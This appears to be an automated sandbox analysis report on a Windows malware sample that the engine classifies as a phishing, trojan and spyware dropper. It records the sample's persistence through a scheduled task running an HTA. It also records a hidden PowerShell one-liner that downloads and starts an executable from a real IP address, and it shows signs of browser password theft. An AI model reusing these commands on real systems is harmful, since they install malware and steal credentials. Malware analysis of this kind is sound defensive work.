Source: 22a0986bef.exe, 00000023.00000002.3035837291.0000000000902000.00000002.00000001.01000000.00000017.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_a0b4bd2b-4
Source: 22a0986bef.exe, 00000023.00000002.3035837291.0000000000902000.00000002.00000001.01000000.00000017.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_8238996d-8
Creates HTA files
Source: C:\Users\user\Desktop\px4Y74kUj2.exe File created: C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe File created: C:\Users\user\AppData\Local\Temp\os46r5CTT.hta
PE file contains section with special chars
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name:
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: .idata
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Source: 6609830e7b.exe.19.dr Static PE information: section name:
Source: 6609830e7b.exe.19.dr Static PE information: section name: .idata
Source: 6609830e7b.exe.19.dr Static PE information: section name:
Source: random[2].exe.19.dr Static PE information: section name:
Source: random[2].exe.19.dr Static PE information: section name: .idata
Source: random[2].exe.19.dr Static PE information: section name:
Source: a0be961972.exe.19.dr Static PE information: section name:
Source: a0be961972.exe.19.dr Static PE information: section name: .idata
Source: a0be961972.exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name: .idata
Source: f9cb675f2a.exe.19.dr Static PE information: section name:
Source: f9cb675f2a.exe.19.dr Static PE information: section name: .idata
Source: random[1].exe0.19.dr Static PE information: section name:
Source: random[1].exe0.19.dr Static PE information: section name: .idata
Source: random[1].exe0.19.dr Static PE information: section name:
Source: df1dfa8044.exe.19.dr Static PE information: section name:
Source: df1dfa8044.exe.19.dr Static PE information: section name: .idata
Source: df1dfa8044.exe.19.dr Static PE information: section name:
Source: random[1].exe1.19.dr Static PE information: section name:
Source: random[1].exe1.19.dr Static PE information: section name: .idata
Source: random[1].exe1.19.dr Static PE information: section name:
Source: d04aa34f51.exe.19.dr Static PE information: section name:
Source: d04aa34f51.exe.19.dr Static PE information: section name: .idata
Source: d04aa34f51.exe.19.dr Static PE information: section name:
Source: KUQRYpJ[1].exe.19.dr Static PE information: section name: .}=J
Source: KUQRYpJ.exe.19.dr Static PE information: section name: .}=J
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name:
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name: .idata
Source: Bjkm5hE[1].exe.19.dr Static PE information: section name:
Source: Bjkm5hE.exe.19.dr Static PE information: section name:
Source: Bjkm5hE.exe.19.dr Static PE information: section name: .idata
Source: Bjkm5hE.exe.19.dr Static PE information: section name:
Source: random[2].exe2.19.dr Static PE information: section name:
Source: random[2].exe2.19.dr Static PE information: section name: .idata
Source: random[2].exe2.19.dr Static PE information: section name:
Source: 37a2af455e.exe.19.dr Static PE information: section name:
Source: 37a2af455e.exe.19.dr Static PE information: section name: .idata
Source: 37a2af455e.exe.19.dr Static PE information: section name:
Source: random[3].exe.19.dr Static PE information: section name:
Source: random[3].exe.19.dr Static PE information: section name: .idata
Source: random[3].exe.19.dr Static PE information: section name:
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name:
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name: .idata
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: section name:
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name:
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name: .idata
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: section name:
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name:
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name: .idata
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: section name:
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name:
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name: .idata
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: section name:
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name:
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name: .idata
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Jump to dropped file
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049D5EB: CreateFileW,DeviceIoControl,CloseHandle, 0_2_0049D5EB
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00491201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_00491201
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 0_2_0049E8F6
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe File created: C:\Windows\SysWOW64\monigo
Detected potential crypto function
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A2046 0_2_004A2046
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00438060 0_2_00438060
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00498298 0_2_00498298
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0046E4FF 0_2_0046E4FF
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0046676B 0_2_0046676B
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004C4873 0_2_004C4873
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0043CAF0 0_2_0043CAF0
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0045CAA0 0_2_0045CAA0
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0044CC39 0_2_0044CC39
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00466DD9 0_2_00466DD9
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0044B119 0_2_0044B119
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004391C0 0_2_004391C0
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00451394 0_2_00451394
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0045781B 0_2_0045781B
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0044997D 0_2_0044997D
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00437920 0_2_00437920
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00457A4A 0_2_00457A4A
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00457CA7 0_2_00457CA7
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004BBE44 0_2_004BBE44
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00469EEE 0_2_00469EEE
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0043BF40 0_2_0043BF40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_046A20C1 6_2_046A20C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD341C3CC9 9_2_00007FFD341C3CC9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD341C5B81 9_2_00007FFD341C5B81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD341C5409 9_2_00007FFD341C5409
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CE459 20_3_014CE459
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CFCE1 20_3_014CFCE1
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CF830 20_3_014CF830
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CE459 20_3_014CE459
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CFCE1 20_3_014CFCE1
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Code function: 20_3_014CF830 20_3_014CF830
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: String function: 0044F9F2 appears 40 times
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: String function: 00450A30 appears 46 times
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: String function: 00439CB3 appears 31 times
PE file does not import any functions
Source: random[2].exe0.19.dr Static PE information: No import functions for PE file found
Source: 544b1ad39e.exe.19.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: px4Y74kUj2.exe, 00000000.00000002.2218664451.0000000001718000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2217063145.0000000001715000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2215490630.0000000001712000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2215170594.0000000001858000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2215170594.0000000001858000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209224597.000000000184A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209224597.000000000184A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209296881.0000000001851000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209296881.0000000001851000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209255082.000000000184A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2209255082.000000000184A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2215401207.0000000001710000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Source: px4Y74kUj2.exe, 00000000.00000003.2215105450.0000000001703000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs px4Y74kUj2.exe
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Uses 32bit PE files
Source: px4Y74kUj2.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: skotes.exe.11.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: 6609830e7b.exe.19.dr Static PE information: Section: bdaxirak ZLIB complexity 0.9949653041464156
Source: random[2].exe.19.dr Static PE information: Section: ZLIB complexity 0.9968361801242236
Source: random[2].exe.19.dr Static PE information: Section: enqbupfi ZLIB complexity 0.9944743868670886
Source: a0be961972.exe.19.dr Static PE information: Section: ZLIB complexity 0.9968361801242236
Source: a0be961972.exe.19.dr Static PE information: Section: enqbupfi ZLIB complexity 0.9944743868670886
Source: random[1].exe0.19.dr Static PE information: Section: ZLIB complexity 1.0003621295592706
Source: random[1].exe0.19.dr Static PE information: Section: swebfrpr ZLIB complexity 0.9944888565891473
Source: df1dfa8044.exe.19.dr Static PE information: Section: ZLIB complexity 1.0003621295592706
Source: df1dfa8044.exe.19.dr Static PE information: Section: swebfrpr ZLIB complexity 0.9944888565891473
Source: random[1].exe1.19.dr Static PE information: Section: ssjfjqgu ZLIB complexity 0.9949792259559253
Source: d04aa34f51.exe.19.dr Static PE information: Section: ssjfjqgu ZLIB complexity 0.9949792259559253
Source: Bjkm5hE[1].exe.19.dr Static PE information: Section: ZLIB complexity 1.0004701967592593
Source: Bjkm5hE[1].exe.19.dr Static PE information: Section: gfrqabhk ZLIB complexity 0.9946444095857272
Source: Bjkm5hE.exe.19.dr Static PE information: Section: ZLIB complexity 1.0004701967592593
Source: Bjkm5hE.exe.19.dr Static PE information: Section: gfrqabhk ZLIB complexity 0.9946444095857272
Source: random[3].exe.19.dr Static PE information: Section: bdaxirak ZLIB complexity 0.9949653041464156
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: Section: ssjfjqgu ZLIB complexity 0.9949792259559253
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: Section: ssjfjqgu ZLIB complexity 0.9949792259559253
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: 37a2af455e.exe.19.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe2.19.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@125/125@24/24
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A37B5 GetLastError,FormatMessageW, 0_2_004A37B5
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004910BF AdjustTokenPrivileges,CloseHandle, 0_2_004910BF
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004916C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 0_2_004916C3
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 0_2_004A51CD
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004BA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 0_2_004BA67C
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize, 0_2_004A648E
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004342A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 0_2_004342A2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2136:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2736:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3164:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:572:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2544:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:340:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3728:120:WilError_03
Source: C:\Users\user\Desktop\px4Y74kUj2.exe File created: C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta Jump to behavior
Source: px4Y74kUj2.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: df1dfa8044.exe, 00000015.00000003.2863253202.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2876127402.0000000005B56000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2876324482.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2862469813.0000000005B58000.00000004.00000800.00020000.00000000.sdmp, d04aa34f51.exe, 00000016.00000003.3067450383.0000000006229000.00000004.00000020.00020000.00000000.sdmp, d04aa34f51.exe, 00000016.00000003.3246578811.000000000621D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: px4Y74kUj2.exe Virustotal: Detection: 30%
Source: px4Y74kUj2.exe ReversingLabs: Detection: 52%
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f9cb675f2a.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: unknown Process created: C:\Users\user\Desktop\px4Y74kUj2.exe "C:\Users\user\Desktop\px4Y74kUj2.exe"
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE"
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe "C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe"
